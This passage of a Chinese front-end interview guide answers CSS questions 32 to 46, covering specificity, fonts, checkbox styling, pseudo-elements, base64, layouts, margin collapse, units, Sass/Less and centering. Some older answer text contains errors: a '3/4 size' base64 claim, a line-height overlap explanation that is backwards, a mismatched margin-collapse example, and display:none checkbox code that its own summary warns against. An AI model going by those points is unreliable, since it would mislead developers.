  • 与第 12、23 题同考点,交互式计算器在第 12 题
  • 三元组 (a, b, c) 逐位比较,高位一票否决低位
  • !important > 内联 > 普通规则;相同权重看书写顺序
  • 继承来的样式权重最低,任何直接命中的规则都能覆盖它
  • 实践建议:不要靠堆权重解决问题,用 @layer 或 BEM 这种扁平命名把权重压平,可维护性好得多

CSS 样式最终由重要性、选择器权重和书写顺序共同决定,通常可理解为 !important、内联样式、普通规则依次比较。 普通规则之间会计算选择器权重,权重更高的直接生效,而不是靠后面的低权重规则覆盖。权重和重要性都相同时,后写的规则才会覆盖先写的规则。继承样式的优先级很低,我一般不会靠堆选择器或滥用 !important 解决冲突,以免后续难以维护。

CSS 样式的优先级可以根据以下规则进行计算:

  1. 内联样式(Inline Styles)具有最高的优先级。通过在 HTML 元素的 style 属性中直接定义的样式将覆盖其他样式规则。
  2. 权重(Specificity)是确定样式优先级的重要因素。每个选择器都有一个权重,权重由选择器的组成部分决定,通常根据选择器的类型、类、ID 和内联样式等进行计算。选择器的权重值越高,其样式优先级越高。
  3. 重要性(Importance)可以通过 !important 关键字来设置。使用 !important 的样式具有最高的优先级,将覆盖任何其他样式规则。然而,滥用 !important 可能导致样式管理的困难,应该慎用。
  4. 层叠顺序(Cascade Order)也会影响样式的优先级。当存在多个具有相同权重和重要性的样式规则时,后写的样式规则将覆盖先写的样式规则。

综上所述,通过计算选择器的权重、考虑重要性以及根据样式规则的层叠顺序,可以确定 CSS 样式的优先级,并最终确定应用在元素上的样式。

小结

  • 计算权重确定
  • !important
  • 内联样式
  • 后写的优先级高

# 32 自定义字体的使用场景

⚡ 30 秒速记

  • 品牌字体、艺术标题、图标字体、需要统一跨平台观感的场景
  • @font-face 定义,src 按 woff2 → woff 顺序降级(woff2 压缩率最高,兼容性已足够)
  • 必配 font-display:swap(先用兜底字体显示,字体到了再换,避免文字空白)
  • 中文字体是最大坑:一个字库动辄几 MB,必须做子集化(fontmin / subfont)只保留用到的字
  • 优化手段:<link rel="preload" as="font" crossorigin>、unicode-range 分片按需加载、size-adjust 减少换字体时的布局跳动

自定义字体适合品牌宣传、Banner、固定标题文案以及字体图标等需要强化视觉识别的场景。 它能让文字风格与品牌形象保持一致,也能把标题、标语或特殊提示从普通正文中突出出来。字体图标还可以通过 CSS 统一控制颜色和大小,比单独维护多张图更灵活。实际使用时要考虑字体文件的加载成本,尤其中文字体体积可能较大,通常需要做子集化并准备系统字体作为降级方案。

自定义字体可以在以下场景中使用:

  1. 宣传和品牌:使用自定义字体可以增加品牌的独特性和识别度。品牌标语、宣传资料、广告等场合可以使用自定义字体来传达品牌的风格和形象。
  2. Banner 设计:在网站或移动应用的横幅广告(Banner)设计中,自定义字体可以使文字内容更加吸引人,与整体设计风格相匹配,并帮助吸引用户的注意力。
  3. 固定文案:如果有一些特定的文案需要在网站或应用中固定展示,如标题、标语、特殊提示等,使用自定义字体可以使这些文案与其他普通文本区分开来,突出其重要性或特殊性。
  4. 字体图标:自定义字体可以用于创建字体图标集合,如使用字体图标库(如Font Awesome)来代替传统的图标文件。这样可以提供灵活性和可扩展性,通过CSS样式来控制图标的颜色、大小和样式,而无需使用单独的图像文件。

总之,自定义字体在需要强调品牌形象、设计吸引人的文案或创建字体图标集合等场景中非常有用。它们为设计师和开发人员提供了更多的创意和自定义选项,以满足特定的设计需求。

# 33 如何美化CheckBox

⚡ 30 秒速记

  • 核心思路:把原生 input 视觉上藏起来但保留在无障碍树里,再用 label 关联,样式画在伪元素上
  • 隐藏要用 opacity:0 + position:absolute 或 appearance:none,不要用 display:none —— 那会让它无法聚焦、键盘操作失效
  • 用 :checked + 相邻兄弟选择器控制选中态样式
  • 别忘了 :focus-visible 样式,否则键盘用户看不到焦点在哪
  • 现代更简单的做法:accent-color 一行改主题色;需要完全自定义再用 appearance:none 自己画

美化 CheckBox 的常见做法是保留原生复选框的交互能力,再通过关联的 label 和自定义样式绘制外观。 label 的 for 要对应 input 的 id,这样点击文字也能切换选中状态。样式上可以用 :checked + label 区分默认态和选中态,并通过伪元素绘制边框、背景或勾选图标。隐藏原生控件时不建议使用 display:none,否则会影响聚焦和键盘操作;需求简单时也可以直接用 accent-color 修改主题色。

  • <label> 属性 for 和 id
  • 隐藏原生的 <input>
  • :checked + <label>

要美化复选框(CheckBox),可以按照以下步骤进行操作:

  1. 使用 <label> 标签和关联的 <input> 元素:将复选框包裹在 <label> 标签中,并使用 for 属性与对应的 <input> 元素的 id 进行关联,确保点击标签时也可以触发复选框的选择状态。
<label for="myCheckbox">Checkbox Label</label>
<input type="checkbox" id="myCheckbox">
  1. 隐藏原生的 <input> 元素:使用 CSS 样式将原生的 <input> 元素隐藏起来,使其不可见。
input[type="checkbox"] {
  display: none;
}
  1. 使用 CSS 样式美化复选框:利用 CSS 样式为复选框创建自定义的外观效果。
input[type="checkbox"] + label {
  /* 定义复选框的样式 */
}

input[type="checkbox"]:checked + label {
  /* 定义选中时复选框的样式 */
}

在上述样式中,:checked 选择器用于选中状态下的样式,+ 选择器用于选择紧接在 <input> 元素后的兄弟 <label> 元素。

通过调整这些样式,您可以改变复选框的外观,如更改背景颜色、添加边框、改变图标等。可以使用 CSS 属性如 background-color、border、color、content 等来设置样式。

例如,以下示例将复选框的背景颜色设置为蓝色,并在选中时添加一个打勾的图标:

input[type="checkbox"] + label {
  display: inline-block;
  padding-left: 25px;
  position: relative;
  cursor: pointer;
}

input[type="checkbox"] + label:before {
  content: "";
  display: inline-block;
  width: 16px;
  height: 16px;
  border: 2px solid #999;
  border-radius: 3px;
  margin-right: 10px;
  position: absolute;
  left: 0;
  top: 2px;
}

input[type="checkbox"]:checked + label:before {
  background-color: blue;
  border-color: blue;
  content: "\2713";
  text-align: center;
  font-size: 14px;
  line-height: 16px;
  color: #fff;
}

通过使用类似上述的 CSS 样式,您可以根据需要定制复选框的外观和样式,以实现美化效果。

# 34 伪类和伪元素的区别

⚡ 30 秒速记

  • 伪类描述元素的"状态",元素本身存在 —— :hover、:checked、:nth-child、:not()
  • 伪元素创建一个"本不存在的元素" —— ::before、::after、::first-line、::placeholder
  • 写法约定:伪类单冒号,伪元素双冒号(历史原因伪元素也接受单冒号)
  • 伪元素必须写 content 才会生成(::first-line 这类除外)
  • 伪元素不进 DOM,JS 选不到、不能绑事件;要读取它的样式得用 getComputedStyle(el, '::before')

伪类用于描述并选择元素的特定状态,伪元素则用于选中元素的某个部分或创建可供样式处理的虚拟内容。 例如 :hover、:checked 表示交互或选中状态,而 ::before、::after 常用于插入装饰内容,::first-line 用于选中首行。写法上,伪类使用单冒号,伪元素推荐使用双冒号;部分旧伪元素因兼容历史写成单冒号也能工作。简单来说,前者改变“什么时候选中”,后者解决“选中元素的哪一部分”。

  • 伪类表状态
  • 伪元素是真的有元素
  • 前者单冒号,后者双冒号

以下是对伪类和伪元素的更详细解释:

  • 伪类(Pseudo-classes)是用于选择元素的特定状态或条件的关键词。它们以单冒号(:)作为前缀,并应用于选择器的末尾。伪类选择器可以选择处于特定状态的元素,例如鼠标悬停、被点击、被选中等。常见的伪类包括 :hover、:active、:visited、:nth-child 等。
  • 伪元素(Pseudo-elements)则是用于在文档中创建虚拟的元素,这些元素可以在选中的元素中添加额外的样式和内容。伪元素以双冒号(::)作为前缀,并应用于选择器的末尾。伪元素可以在选中的元素中插入新的内容或样式,如在元素前、后插入内容或改变选中元素的某个部分的样式。常见的伪元素包括 ::before、::after、::first-line、::first-letter 等。

总结来说,伪类用于选择特定状态的元素,而伪元素则用于在选中的元素中创建虚拟的元素。伪类以单冒号(:)作为前缀,伪元素以双冒号(::)作为前缀。在实际使用中,由于历史原因,有些伪元素也可以使用单冒号(:)来表示,但为了遵循最新的规范,推荐使用双冒号(::)表示伪元素。

# 35 base64的使用

⚡ 30 秒速记

  • 与第 27 题同考点,看那题的速记卡
  • 前端常见用法:小图标内联进 CSS、canvas.toDataURL() 导出图片、FileReader.readAsDataURL() 预览本地文件
  • 编解码 API:btoa/atob 只能处理 Latin-1,中文要先 encodeURIComponent 或用 TextEncoder
  • 体积增大约 33%,只适合极小的资源
  • 注意 base64 是编码不是加密,任何人都能解开,别拿它"藏"敏感信息

base64 是把二进制数据编码成 ASCII 字符串,常用于把小图片或字体直接嵌入 HTML、CSS 和 JavaScript。 资源跟随代码加载,可以少发一些 HTTP 请求,对小图标这类文件比较合适。代价是编码后体积通常增加约三分之一,而且代码会变长、维护起来更麻烦。文件较大时,我一般保留独立资源请求,避免额外增加传输量。

  • 用于减少 HTTP 请求
  • 适用于小图片
  • base64的体积约为原图的3/4

base64 是一种将二进制数据编码为 ASCII 字符串的方法,它常被用于将小文件(如图片、字体文件等)嵌入到 HTML、CSS 或 JavaScript 中,从而减少对服务器的请求次数。

使用 base64 编码可以将二进制文件转换为文本字符串,这样可以直接将字符串嵌入到代码中,而无需单独请求文件。这样做的好处是可以减少 HTTP 请求的数量,提升页面加载速度,尤其适用于小图片或者一些图标字体等。

然而,使用 base64 编码也有一些注意事项。由于 base64 编码后的文本字符串比原始二进制数据体积大约增加了 1/3,因此对于大文件来说,使用 base64 会导致数据传输量增加,可能会影响网页的加载速度。此外,由于嵌入了文件内容,导致代码体积增大,也会对可维护性产生一定的影响。

因此,通常建议将 base64 使用在小文件上,如小图标、小图片等,而对于大文件,仍然应该以原始文件的形式进行请求和传输,以获得更好的性能和可维护性。

# 36 自适应布局

⚡ 30 秒速记

  • 概念先分清:自适应是"按屏幕尺寸切换几套固定布局",响应式是"连续流动地适配",流式布局是"百分比宽度"
  • 实现手段:媒体查询切断点、百分比/vw/rem 相对单位、Flex/Grid 的自动伸缩、clamp() 做流体排版
  • 移动端常见方案:rem + 动态设置 html font-size(flexible 方案),或直接用 vw
  • Grid 一行搞定自适应网格:grid-template-columns: repeat(auto-fill, minmax(200px, 1fr))
  • 现在更推荐容器查询 @container:组件按自己容器的宽度适配,而不是全局视口,复用性好得多

自适应布局就是让页面元素根据可用空间调整尺寸和位置,常见做法有浮动配合外边距、负外边距,以及 Flexbox。 左侧宽度固定时,可以让它浮动或绝对定位,再用右侧的 margin 留出位置,但宽度和间距需要手动计算。复杂一些的布局可以借助容器和负 margin,不过规则不够直观。实际开发中我更倾向使用 display: flex,固定左栏并让右栏通过 flex-grow: 1 占满剩余空间。

思路:

  • 左侧浮动或者绝对定位,然后右侧margin撑开
  • 使用<div>包含,然后靠负margin形成bfc
  • 使用flex

自适应布局是指能够根据不同设备或窗口尺寸自动调整布局的一种设计方式。下面是几种常见的自适应布局方法:

  1. 使用浮动或绝对定位:左侧元素使用浮动或绝对定位,右侧元素通过设置左侧元素的margin来撑开布局。这种方法需要手动计算和设置宽度和间距,适用于简单的布局需求。
.left {
  float: left;
  width: 200px;
}

.right {
  margin-left: 220px;
}
  1. 使用包含元素和负边距:将左右两个元素放在一个容器内,设置容器的overflow属性为hidden,然后通过负边距将左侧元素向左移动,右侧元素则会自动占据剩余空间。这种方法需要使用负边距,适用于复杂布局需求。
.container {
  overflow: hidden;
}

.left {
  float: left;
  width: 200px;
  margin-left: -100%;
}

.right {
  float: left;
}

  1. 使用 Flexbox 布局:使用 Flexbox 弹性布局可以轻松实现自适应布局。通过设置容器的display属性为flex,并使用flex-grow属性来控制元素的伸缩性,可以自动调整元素的宽度和布局。
.container {
  display: flex;
}

.left {
  flex-grow: 0;
  flex-shrink: 0;
  width: 200px;
}

.right {
  flex-grow: 1;
}

以上是一些常见的自适应布局方法,根据具体的需求和场景,可以选择合适的方法来实现自适应布局。

# 37 请用CSS写一个简单的幻灯片效果页面

⚡ 30 秒速记

  • 纯 CSS 方案:@keyframes 控制 transform: translateX 或 opacity,配 animation 循环
  • 关键点:容器 overflow:hidden,轨道宽度 = 单页宽 × 页数,用百分比位移切页
  • 更现代的做法:CSS 滚动吸附 scroll-snap-type: x mandatory + scroll-snap-align: center,天然支持手势滑动
  • 淡入淡出型:多张图叠在一起,用 animation-delay 错开各自的 opacity 动画
  • 加 prefers-reduced-motion 媒体查询,给不适应动效的用户关掉自动播放

简单的纯 CSS 幻灯片可以用 animation 配合 @keyframes,按时间切换容器的背景图片。 容器先设置固定宽高和 overflow: hidden,再让动画无限循环,就能形成连续播放效果。关键帧可在 0%、25%、50%、75% 和 100% 分别指定不同的 background。这种方案适合不需要交互的简单轮播,如果要支持按钮、分页或动态内容,单靠这段动画就不够了。

知道是要用CSS3。使用animation动画实现一个简单的幻灯片效果

/**css**/
.ani{
  width:480px;
  height:320px;
  margin:50px auto;
  overflow: hidden;
  box-shadow:0 0 5px rgba(0,0,0,1);
  background-size: cover;
  background-position: center;
  -webkit-animation-name: "loops";
  -webkit-animation-duration: 20s;
  -webkit-animation-iteration-count: infinite;
}
@-webkit-keyframes "loops" {
    0% {
        background:url(http://d.hiphotos.baidu.com/image/w%3D400/sign=c01e6adca964034f0fcdc3069fc27980/e824b899a9014c08e5e38ca4087b02087af4f4d3.jpg) no-repeat;
    }
    25% {
        background:url(http://b.hiphotos.baidu.com/image/w%3D400/sign=edee1572e9f81a4c2632edc9e72b6029/30adcbef76094b364d72bceba1cc7cd98c109dd0.jpg) no-repeat;
    }
    50% {
        background:url(http://b.hiphotos.baidu.com/image/w%3D400/sign=937dace2552c11dfded1be2353266255/d8f9d72a6059252d258e7605369b033b5bb5b912.jpg) no-repeat;
    }
    75% {
        background:url(http://g.hiphotos.baidu.com/image/w%3D400/sign=7d37500b8544ebf86d71653fe9f9d736/0df431adcbef76095d61f0972cdda3cc7cd99e4b.jpg) no-repeat;
    }
    100% {
        background:url(http://c.hiphotos.baidu.com/image/w%3D400/sign=cfb239ceb0fb43161a1f7b7a10a54642/3b87e950352ac65ce2e73f76f9f2b21192138ad1.jpg) no-repeat;
    }
}

# 38 什么是外边距重叠?重叠的结果是什么?

⚡ 30 秒速记

  • 也叫 margin 折叠,只发生在常规流的块级元素、且只在垂直方向
  • 三种场景:相邻兄弟之间、父元素与第一个/最后一个子元素之间、空块元素自身的上下 margin
  • 结果取值:都是正数取最大;都是负数取绝对值最大(即最小的那个);一正一负取两者之和
  • 破解办法:给父元素触发 BFC(overflow/flow-root)、加 padding 或 border 隔开、改用 Flex/Grid 布局
  • Flex 和 Grid 容器的子项之间不会发生 margin 折叠 —— 这也是现代布局少踩这个坑的原因

外边距重叠,也叫 margin collapse,是相邻盒子的垂直外边距合并成一个外边距。 两个值都为正数时取较大值,都为负数时取绝对值较大的那个,一正一负则相加。它常出现在相邻兄弟元素之间,也可能发生在父元素与第一个或最后一个子元素之间。需要避免时,可以用 padding 或 border 隔开,也可以通过浮动或绝对定位改变原来的布局关系。

外边距重叠就是margin-collapse

  • 在CSS当中,相邻的两个盒子(可能是兄弟关系也可能是祖先关系)的外边距可以结合成一个单独的外边距。这种合并外边距的方式被称为折叠,并且因而所结合成的外边距称为折叠外边距。

折叠结果遵循下列计算规则:

  • 两个相邻的外边距都是正数时,折叠结果是它们两者之间较大的值。
  • 两个相邻的外边距都是负数时,折叠结果是两者绝对值的较大值。
  • 两个外边距一正一负时,折叠结果是两者的相加的和。

下面是详细分析

外边距重叠(margin collapse)指的是在某些情况下,相邻的两个元素之间的外边距会发生合并,并且取两者之间的较大值作为最终的外边距值。外边距重叠主要发生在垂直方向上,而水平方向上的外边距不会发生重叠。

外边距重叠的结果是两个相邻元素的外边距被合并成一个单独的外边距,这可能会导致布局上的一些意外效果,比如元素之间的间距变得比预期的要大。

下面是一些常见情况下外边距重叠的例子:

  1. 相邻的兄弟元素的外边距重叠:
<div class="box"></div>
<div class="box"></div>
.box {
  margin-top: 20px;
  margin-bottom: 30px;
}

在这个例子中,两个相邻的兄弟元素之间的上下外边距会发生重叠,最终的外边距值为30px,而不是预期的50px。

  1. 父元素与第一个/最后一个子元素的外边距重叠:
<div class="parent">
  <div class="child"></div>
</div>
.parent {
  margin-bottom: 20px;
}

.child {
  margin-top: 30px;
}

在这个例子中,父元素的下外边距和子元素的上外边距发生重叠,最终的外边距值为30px,而不是预期的50px。

了解外边距重叠的规则可以帮助我们更好地控制元素的布局,避免意外的外边距重叠效果。在需要避免外边距重叠的情况下,可以使用一些方法,如使用内边距(padding)或边框(border)来隔离外边距、使用浮动(float)或绝对定位(position)等。

# 39 rgba()和opacity的透明效果有什么不同?

⚡ 30 秒速记

  • opacity 作用于整个元素,包括所有子元素和文字,且子元素无法"透明回来"
  • rgba() 只作用于设置它的那个颜色属性(background-color、color、border-color),不影响子元素
  • opacity < 1 会创建新的层叠上下文,可能影响 z-index 的层级关系 —— 这是隐藏的坑
  • 想让背景半透明而文字不透明,用 rgba 或 background-color 配 color-mix(),不要用 opacity
  • 性能上 opacity 可以走合成层,做淡入淡出动画首选它

rgba() 只改变指定颜色的透明度,而 opacity 会让整个元素及其内部内容一起透明。 比如给背景设置半透明的 rgba(),文字和子元素仍可保持不透明;设置 opacity: 0.5 后,文字、图片等内容也会一起变淡。两者的透明度都用 0 到 1 表示,0 是完全透明,1 是完全不透明。只想做半透明背景时用 rgba(),需要整体淡化元素时再用 opacity。

  • rgba() 是一种CSS颜色值表示方法,可以在其中指定红、绿、蓝三个通道的颜色值以及透明度。通过调整透明度值来实现元素的透明效果,仅影响元素的颜色或背景色,不影响元素内的其他内容的透明度。
.element {
  background-color: rgba(255, 0, 0, 0.5); /* 半透明红色背景 */
}
  • opacity 是CSS属性,用于设置元素的整体透明度。它会影响元素以及元素内的所有内容的透明度,包括文本、图像等。设置元素的透明度会影响整个元素及其内容的可见性。
.element {
  opacity: 0.5; /* 元素及其内容半透明 */
}

需要注意的是,opacity 的值是一个0到1之间的数字,0表示完全透明,1表示完全不透明。而 rgba() 中的透明度值是一个介于0到1之间的数字,0表示完全透明,1表示完全不透明。

另外,需要注意的是,opacity 的透明度是继承的,子元素会继承父元素的透明度效果,而 rgba() 设置的透明度不会继承给子元素。

综上所述,rgba() 和 opacity 在实现透明效果上有一些不同,需要根据具体的需求和效果来选择使用哪种方式。

小结

  • rgba()和opacity都能实现透明效果,但最大的不同是opacity作用于元素,以及元素内的所有内容的透明度,
  • 而rgba()只作用于元素的颜色或其背景色。(设置rgba透明的元素的子元素不会继承透明效果!)

# 40 css中可以让文字在垂直和水平方向上重叠的两个属性是什么?

⚡ 30 秒速记

  • 水平方向:letter-spacing 设负值,字符间距变负就会互相重叠
  • 垂直方向:line-height 设小于字号的值,行与行就会叠在一起
  • 也可以用 word-spacing 让单词重叠(英文场景)
  • 这题是个偏门记忆题,实际开发几乎用不到,知道即可
  • 真要做文字叠加效果,现在更常用 position:absolute 或 transform: translate 精确控制

垂直方向可以用 line-height 控制,水平方向可以用 letter-spacing 控制。 line-height 决定行与行之间的距离,把行高调整到合适的较小值时,多行文字会在垂直方向靠近甚至重叠。letter-spacing 决定字符间距,设置负值会让相邻字符靠近,数值足够小时便会出现水平重叠。这两个属性都要结合字号调整,避免文字重叠过度而影响阅读。

  • 垂直方向:line-height
  • 水平方向:letter-spacing

在CSS中,可以使用以下两个属性实现文字在垂直和水平方向上的重叠:

  • 垂直方向:line-height

    • 通过设置 line-height 属性,可以控制行高,从而实现文字在垂直方向上的重叠。将 line-height 的值设置为大于文字大小的值,可以使文字垂直居中或与其他文字重叠。
    .text {
      line-height: 1.5; /* 行高为文字大小的1.5倍 */
    }
    
  • 水平方向:letter-spacing

    • 通过设置 letter-spacing 属性,可以控制字符之间的间距,从而实现文字在水平方向上的重叠。将 letter-spacing 的值设置为负数,可以让字符紧密排列,产生重叠效果。
    .text {
      letter-spacing: -2px; /* 字符间距为负数,产生重叠效果 */
    }
    

这两个属性可以根据具体的需求来调整,实现文字的垂直和水平方向上的重叠效果。

# 41 如何垂直居中一个浮动元素?

⚡ 30 秒速记

  • 直接答"别用浮动做居中":Flex 一行搞定 —— 父元素 display:flex; align-items:center
  • 老方法一:父元素 position:relative,子元素 absolute + top:50% + transform: translateY(-50%)(不需要知道高度)
  • 老方法二:已知高度时 top:50% + margin-top: -高度一半
  • 老方法三:父子都浮动,父元素 position:relative; top:50%,子元素 position:relative; top:-50%
  • 面试时先给现代方案再补历史方案,体现你知道演进过程

可以通过绝对定位配合偏移量实现垂直居中,也可以直接让父容器使用 Flex 布局。 元素尺寸已知时,可设置 top: 50%,再用负的半高 margin-top 把元素向上拉回自身高度的一半。另一种定位写法是同时设置 top: 0、bottom: 0 和 margin: auto,让上下剩余空间自动均分。如果是图片等普通内容,我一般会在父容器设置 display: flex 和 align-items: center,表达更直接。

垂直居中一个浮动元素可以使用以下两种方法:

方法一(已知元素的高宽):

#div1 {
  background-color: #6699FF;
  width: 200px;
  height: 200px;
  position: absolute; /* 父元素需要相对定位 */
  top: 50%;
  left: 50%;
  margin-top: -100px; /* 二分之一的height */
  margin-left: -100px; /* 二分之一的width */
}

方法二:

#div1 {
  width: 200px;
  height: 200px;
  background-color: #6699FF;
  margin: auto;
  position: absolute; /* 父元素需要相对定位 */
  left: 0;
  top: 0;
  right: 0;
  bottom: 0;
}

对于垂直居中一个 <img>,可以使用更简便的方法:

#container {
  display: flex;
  justify-content: center;
  align-items: center;
}

上述代码将 <img> 元素放置在一个容器中(#container),通过使用 Flex 布局的 justify-content: center; 和 align-items: center; 属性,实现了图片在容器中的垂直居中效果。

# 42 px和em的区别

⚡ 30 秒速记

  • px 是绝对单位(相对设备像素),em 是相对单位,相对于当前元素的 font-size
  • em 用在 font-size 上时相对父元素字号,会层层累乘 —— 嵌套三层 1.2em 实际是 1.728 倍,这是最大的坑
  • em 用在 padding/margin/width 上时相对元素自己的 font-size
  • rem 相对根元素 html 的 font-size,没有累乘问题,是现在做整体缩放的主流
  • 完整单位表:px 固定、em 相对父级、rem 相对根、%相对包含块、vw/vh 相对视口、ch/ex 相对字符宽高
  • 实践建议:字号用 rem,组件内部间距用 em(跟着字号缩放很自然),边框用 px

px 是大小固定的绝对长度单位,em 是根据字体大小计算的相对长度单位。 父元素字号为 16px 时,子元素的 1em 通常对应 16px,2em 则对应 32px;父级字号变化后,使用 em 的尺寸也会按比例变化。没有额外设置字号时,浏览器默认字号通常是 16px。需要固定、容易计算的尺寸时可用 px,希望页面随字体设置灵活缩放时更适合用 em。

px和em是两种不同的长度单位,它们的区别如下:

  • px(像素)是一个绝对单位,表示固定的像素大小。无论父元素的字体大小如何,px的值都不会改变,它是一个固定的长度单位。
  • em(倍数)是一个相对单位,它相对于父元素的字体大小来确定自身的大小。如果没有设置字体大小,则1em等于浏览器默认的字体大小(通常是16px)。如果父元素的字体大小是16px,那么1em就等于16px,2em就等于32px,以此类推。

由于em是相对单位,它具有一定的灵活性和可扩展性。当需要调整整个页面的字体大小时,只需更改根元素的字体大小,其他使用em作为单位的元素会自动按比例调整大小,从而实现页面的整体缩放效果。

相对于px来说,em更适用于实现弹性布局、响应式设计以及根据用户偏好进行字体大小调整等场景。

小结

  • px和em都是长度单位,区别是,px的值是固定的,指定是多少就是多少,计算比较容易。em得值不是固定的,并且em会继承父级元素的字体大小。
  • 浏览器的默认字体高都是16px。所以未经调整的浏览器都符合: 1em=16px。那么12px=0.75em, 10px=0.625em。
  • px 相对于显示器屏幕分辨率,无法用浏览器字体放大功能
  • em 值并不是固定的,会继承父级的字体大小: em = 像素值 / 父级font-size

# 43 Sass、LESS是什么?大家为什么要使用他们?

⚡ 30 秒速记

  • 与第 29 题同考点
  • 都是 CSS 预处理器,解决原生 CSS 当年缺失的能力:变量、嵌套、混入、函数、循环、文件拆分
  • 带来的工程价值:主题色改一处全局生效、样式模块化、减少重复代码
  • Sass/SCSS 生态最大,Less 语法更接近 CSS
  • 补一句现状:CSS 原生变量、嵌套、@layer 都已落地,预处理器的不可替代性在下降,很多新项目只用 PostCSS + 原生 CSS

Sass 和 Less 都是 CSS 预处理器,使用扩展语法编写样式,再编译成浏览器能识别的 CSS。 它们补充了变量、计算和嵌套等能力,修改颜色或间距时可以统一调整,也能减少重复选择器。通过混合、继承和模块导入,公共样式更容易复用,大型样式表也更便于拆分维护。实际使用时仍要经过编译,其中 Less 既可以在客户端运行,也可以借助 Node.js 在服务端处理。

  • 他们是CSS预处理器。他是CSS上的一种抽象层。他们是一种特殊的语法/语言编译成CSS。
  • 例如Less是一种动态样式语言. 将CSS赋予了动态语言的特性,如变量,继承,运算, 函数. LESS 既可以在客户端上运行 (支持IE 6+, Webkit, Firefox),也可一在服务端运行 (借助 Node.js)

以下是为什么人们选择使用Sass和Less的一些原因:

  1. 变量和计算:Sass和Less都支持变量,可以定义和重用各种值,如颜色、字体、边距等。它们还允许进行数学计算,简化了样式表的编写和维护。
  2. 嵌套规则:Sass和Less允许在样式规则中嵌套其他规则,提高了样式表的可读性和可维护性。通过嵌套,可以更清晰地表示元素的层次结构,减少了样式选择器的重复。
  3. 混合(Mixins):混合是一种可以在多个选择器中重复使用的样式块。通过定义和调用混合,可以避免样式的重复编写,并且使样式表更加模块化和可复用。
  4. 继承:继承允许一个选择器继承另一个选择器的样式规则,减少了样式的冗余。当多个选择器具有相同的样式时,可以通过继承来避免重复编写样式。
  5. 模块化和导入:Sass和Less支持将样式表拆分为多个模块,并通过导入机制进行组合。这使得样式表的组织和管理更加灵活和可扩展。
  6. 自定义函数:Sass和Less都允许定义自定义函数,可以用于处理样式值,进行复杂的计算和操作。
  7. 强大的工具和生态系统:Sass和Less都有丰富的工具和插件生态系统,提供了许多辅助工具、编译器和构建工具,如预处理器编译器、自动刷新、自动前缀添加等,极大地提升了前端开发的效率。

总而言之,Sass和Less使得CSS的编写更加简洁、模块化和可维护,提供了一些高级功能和工具,使前端开发更加高效和灵活。

# 44 知道css有个content属性吗?有什么作用?有什么应用?

⚡ 30 秒速记

  • content 用在 ::before/::after 上生成内容,不写它伪元素就不会渲染(写 content:'' 也算写了)
  • 能放的值:字符串、attr(属性名) 读取 HTML 属性、url() 插图片、计数器 counter()、quotes 引号
  • 典型应用:clearfix、图标、必填项的红星、自动编号目录、tooltip 文案、装饰性引号
  • attr() 很实用:<a data-tip="提示"> 配 content: attr(data-tip) 就是一个纯 CSS tooltip
  • 无障碍提醒:content 里的文本各读屏器处理不一致,纯装饰性内容建议再加 content: '' / ''(alt 文本语法)或者干脆别放关键信息

content 主要配合 ::before 和 ::after 伪元素生成内容,用来补充文本或实现装饰效果。 它可以放字符串、图标,也可以通过 attr() 读取元素属性,或结合 counter() 生成自动编号。常见场景有清除浮动、添加标识和展示序号,例如给 ::after 设置内容后再配合 clear: both。它不适合直接用于普通元素,生成内容的布局通常还要结合合适的 display。

css的content属性专门应用在 before/after伪元素上,用于来插入生成内容。最常见的应用是利用伪类清除浮动。

/**一种常见利用伪类清除浮动的代码**/
.clearfix:after {
    content:".";       //这里利用到了content属性
    display:block;
    height:0;
    visibility:hidden;
    clear:both;
 }
.clearfix {
    *zoom:1;
}
  • content属性主要用于在::before和::after伪元素中插入生成的内容。它通常与伪元素一起使用,以在文档中插入额外的内容或修饰样式。
  • content属性可以接受多种类型的值,包括文本字符串、URL、计数器、计数器符号和引用标签等。通过设置不同的content值,可以实现一些常见的效果,例如:
  1. 插入文本内容:可以在伪元素中使用content属性插入自定义的文本内容,用于装饰样式或添加额外的标识。
  2. 插入图标和符号:通过设置content属性为某个图标字体或Unicode编码,可以在伪元素中插入图标和特殊符号。
  3. 计数器:结合使用content属性和counter函数,可以在伪元素中显示自动生成的计数器,用于标记序号或计数。
  4. 引用标签:通过设置content属性为attr()函数,可以在伪元素中引用元素的属性值,用于显示元素的属性内容。

上述代码示例中,通过设置content属性为一个点字符.,在::after伪元素中插入一个看不见的点,配合其他样式属性实现了清除浮动的效果。这是一种常见的清除浮动的技巧之一。

需要注意的是,content属性只对::before和::after伪元素起作用,对于其他元素并没有效果。此外,content属性必须与display属性一起使用,通常为block或inline-block,以确保生成的内容具有正确的布局。

# 45 水平居中的方法

⚡ 30 秒速记

  • 行内/行内块:父元素 text-align: center
  • 定宽块级:margin: 0 auto
  • Flex:父元素 display:flex; justify-content:center(首选)
  • Grid:父元素 display:grid; justify-items:center 或 place-items:center
  • 绝对定位:left:50% + transform: translateX(-50%)(不需要知道宽度)
  • 一句话结论:新代码一律 Flex 或 Grid,上面那些是为了看懂老代码

水平居中需要看元素和布局类型,行内内容用 text-align: center,块级元素通常用自动外边距、弹性布局或定位。 定宽块级元素可以设置 margin-left: auto 和 margin-right: auto,因为剩余水平空间会分配到两侧。父元素使用 display: flex 时,设置 justify-content: center 更适合常规布局。元素宽度未知且需要脱离文档流时,可以用 left: 50% 配合 transform: translateX(-50%),旧式表格布局则可用 table-cell 和文本居中。

  • 元素为行内元素,设置父元素text-align:center
  • 如果元素宽度固定,可以设置左右margin为auto;
  • 绝对定位和移动: absolute + transform
  • 使用flex-box布局,指定justify-content属性为center
  • display设置为tabel-cell

下面进行详细说明:

  1. 文本居中:如果元素为行内元素,可以将父元素的text-align属性设置为center,这样子元素就会水平居中对齐。
.parent {
  text-align: center;
}
  1. 固定宽度的居中:如果元素宽度已知并固定,可以通过将左右margin设置为auto来实现水平居中。
.element {
  margin-left: auto;
  margin-right: auto;
}
  1. 绝对定位和移动:可以使用绝对定位和transform来实现水平居中。首先将元素的左边距和右边距都设置为auto,然后使用transform属性将元素向左平移50%。
.element {
  position: absolute;
  left: 50%;
  transform: translateX(-50%);
}
  1. Flexbox布局:使用display: flex将父元素设置为弹性容器,然后使用justify-content属性将子元素水平居中。
.parent {
  display: flex;
  justify-content: center;
}
  1. 表格布局:将父元素的display属性设置为table-cell,并将text-align属性设置为center。
.parent {
  display: table-cell;
  text-align: center;
}

这些方法可以根据具体的布局需求和浏览器兼容性进行选择和使用。

# 46 垂直居中的方法

⚡ 30 秒速记

  • Flex:align-items: center(首选)
  • Grid:place-items: center 一行同时搞定水平垂直
  • 绝对定位:top:50% + transform: translateY(-50%),不需要知道高度
